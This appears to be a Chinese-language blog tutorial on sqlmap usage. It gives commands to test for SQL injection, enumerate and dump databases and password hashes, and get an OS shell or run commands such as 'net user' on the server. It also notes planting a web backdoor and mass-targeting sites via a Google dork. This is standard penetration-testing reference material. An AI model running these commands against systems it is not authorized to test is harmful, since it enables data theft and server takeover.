本文最后更新于120天前,其中的信息可能已经过时,如有错误请在评论区悄悄告诉我~~~
一、sqlmap基本使用
GET提交方式
// 检测url是否存在注入
sqlmap -u [url]
// 获取所有的表名
sqlmap -u [url] --dbs
// 获取当前的库名
sqlmap -u [url] --current-db
// 获取当前连接数据库的用户名
sqlmap -u [url] --current-user
// 获取指定库的所有表名 -D 指定数据库
sqlmap -u [url] -D security --tables
// 获取指定库指定表的字段名 -T 指定表名
sqlmap -u [url] -D security -T users --columns
// 获取指定库指定表指定字段的数据 -C 指定字段名
sqlmap -u [url] -D security -T users -C id,username,password --dump
// sqlmap历史记录:
// windows:C:\Userstest\AppData\Local\sqlmap
// Linux: /home/test/.sqlmap or /root/.sqlmap
// 清除缓存进行注入 (删除sqlmap的output文件夹也可清楚缓存)
sqlmap -u [url] --purge
// 刷新目标的存储在sqlmap的session文件-清缓存
sqlmap -u [url] --flush-session
// 自动填充选择Y,跳过询问
sqlmap -u [url] --batch
POST 提交方式
sqlmap -u [url] --data "uname=admin&passwd=admin"
// 1.txt是抓取的POST请求头文件,可用 -p 指定参数,如下命令指定uname为参数
sqlmap -r 1.txt -p uname
// 1.txt是抓取的POST请求头文件,可在文件中用*标记注入位置,例如uname=admin*&passwd=admin,标记uname为注入位置
sqlmap -r 1.txt
二、sqlmap参数详解
常用参数
// 测试注入点权限
sqlmap -u [url] --privileges //测试所有用户的权限
sqlmap -u [url] --privileges -U sa //测试sa用户的权限
sqlmap -u [url] --roles //测试所有用户的权限
// 说明:当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中用户的权限。
// 通过用户权限可以判断哪些用户是管理员
//** ** 注意:若目标是MSSql数据库,这一参数会列出每个用户是否是管理员而不列出每个用户的具体权限。
// **利用注入注入点执行Shell命令**
sqlmap -u [url] --os-cmd="net user" // windows系统执行net user命令
sqlmap -u [url] --os-shell // linux系统交互式shell
// 危害:用-os-shel命令可以模拟一个真实的shell,可以使用 INTO OUTFILE写进可写目录,创建一个web后门。
// 注意:1.需要有权限使用特定函数 2.数据库为mysql、postgresql和sqlserver
// 枚举数据库的用户名和密码
sqlmap -u [url] --users --passwords
// 控制sqlmap的输出信息,从简到繁,从0-6共分为7个级别,默认的输出级别为1
// 0:只显示 python的回溯、错误和关键信息
// 1:显示信息和警告消息
// 2:显示调试信息
// 3:显示注入使用的攻击载荷
// 4:显示HTTP请求
// 5:显示HTTP响应头
// 6:显示HTTP相应页面的内容
sqlmap -u [url] -v 3
// 探测等级 --level
// SqlMap一共有5个探测等级,默认是1,使用的Payload可以在xml/payloads.xml看到,也可以根据相应格式自定义payload
// level1:对GET和POST的数据进行测试
// level2:会对 Http cookie进行测试
// level3:会对 Http User-agent/ Referer头进行测试
// level4-5:测试的更加全面,同时测试的速度会更慢
//注意:在不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的level值
sqlmap -u [url] --level 3
// 判断当前用户是否为管理员权限
//说明:该命令用于査看当前账户是否为数据库管理员账户。
// 这个命令有时候决定了你是否可以在服务器下进行写的操作,是否有写的权限,代表你是否可以在服务器上面写入一句话木马
// 结果:如果是管理员会返回Ture,否则返回 False
sqlmap -u [url] --is-dba
// 读取文件内容,批量检测url
sqlmap -m url.txt --batch
// 指定cookie
// 说明:当需要对cookie注入的时候,必须使用--cookie选项,--data ""
// 因为post的数据长度为0,但是又想使用post方法进行注入,则使用--data "",使用--data选项后, sqlmap自动使用post方法。
// 注意:
// 1. sqlmap不支持使用--method指定http请求的方法
// 2. 默认不扫cookie的内容,必须是level大于等于2才能扫cookie里的内容
// 3. cookie默认的分隔符为";"
sqlmap -u [url] --cookie="SESSIONID=xxxx;NAME=ichunqiu;" --level 2 --data ""
// 指定User-Agent
// 说明:参数"--user-agent" 可以指定一个User-Agent值。
// 参数"--random-agent", Sqlmap会从文件./txt/user-agents.txt中随机地取一个User-Agent
// 注意:
// 1. 在一次会话中只有使用同一个User-Agent,并不是每发一个HTTP请求包,都随机一个User-Agent。
// 2. 必须是level大于等于3才会尝试对User-Agent注入
sqlmap -u [url] --user-agent="Mozilla/5.0" //指定UA头
sqlmap -u [url] --random-agent //从txt字典内随机指定UA头
// 指定 Referer
// 说明:可以在请求中伪造HTTP中的referer,Sqlmap发送的HTTP请求头部默认无Referer字段。
// 注意:必须是level大于等于3才会尝试对referer注入
sqlmap -u [url] --referer "http://www.baidu.com" //指定referer
// 指定代理
sqlmap -u [url] --proxy=http://127.0.0.1:8080
// 指定发包间隔时间为5
sqlmap -u url --delay 5
// 指定线程数
sqlmap -u [url] --threads 3
进阶参数
// --prefix 加前缀 --suffix 加后缀
sqlmap -u [url] --prefix=" -- " --suffix=")"
// 指定注入模式 T-time/U-union/E-error/B-bool
sqlmap -u [url] --technique T/U/E/B
// 使用时间盲注指定延时时间为5s
sqlmap -u [url] --technique T --time-sec 5
// 使用googledork(google hacking语法)
sqlmap -g inurl:.php?id=
// 指定数据库类型
sqlmap -u [url] --dbms=mysql
// 使用更多的语句测试url是否存在注入 1-3,3个等级
sqlmap -u [url] --risk 2
// 通过sql注入漏洞获取数据所有信息 包括库名 dba 用户 密码等
sqlmap -u [url] -a
// 获取数据库banner信息
sqlmap -u [url] -b
// dump转存所有数据库内的数据
sqlmap -u [url] --dump-all
// 获取一个外带shell,需要第三方模块支持
sqlmap -u [url] --os-pwn
// 给予用户接口让其手动选择
sqlmap -u [url] --wizard
三、sqlmap目录结构
- doc 目录:包含 sqlmap的简要说明,具体使用说明、作者信息等。
- extra 目录:包含了 sqlmap的额外功能,例如发出声响、运行cmd、安全执行等。例如-beep参数。
- lib 目录:sqlmap核心目录。
- plugins 目录:包含了 sqlmap目前支持的25种数据库信息和数据库通用事项。
- tamper 目录:这里包含了各种辅助脚本,比如常见的waf绕过脚本。
- thirdparty 目录:包含了第三方插件,例如优化、保持连接、颜色。
- data 目录:
- procs 目录:包含了 mssql、 mysql、 oracle、 postgresql的触发程序。
- shell 目录:包含了注入成功后的8种shell远程命令执行。
- txt 目录:包含了表名字典,列名字典,UA字典等。
- udf 目录:涉及UDF提权相关的文件。
- xml 目录:存放多种数据库注入检测的 payload等信息。
参考文章: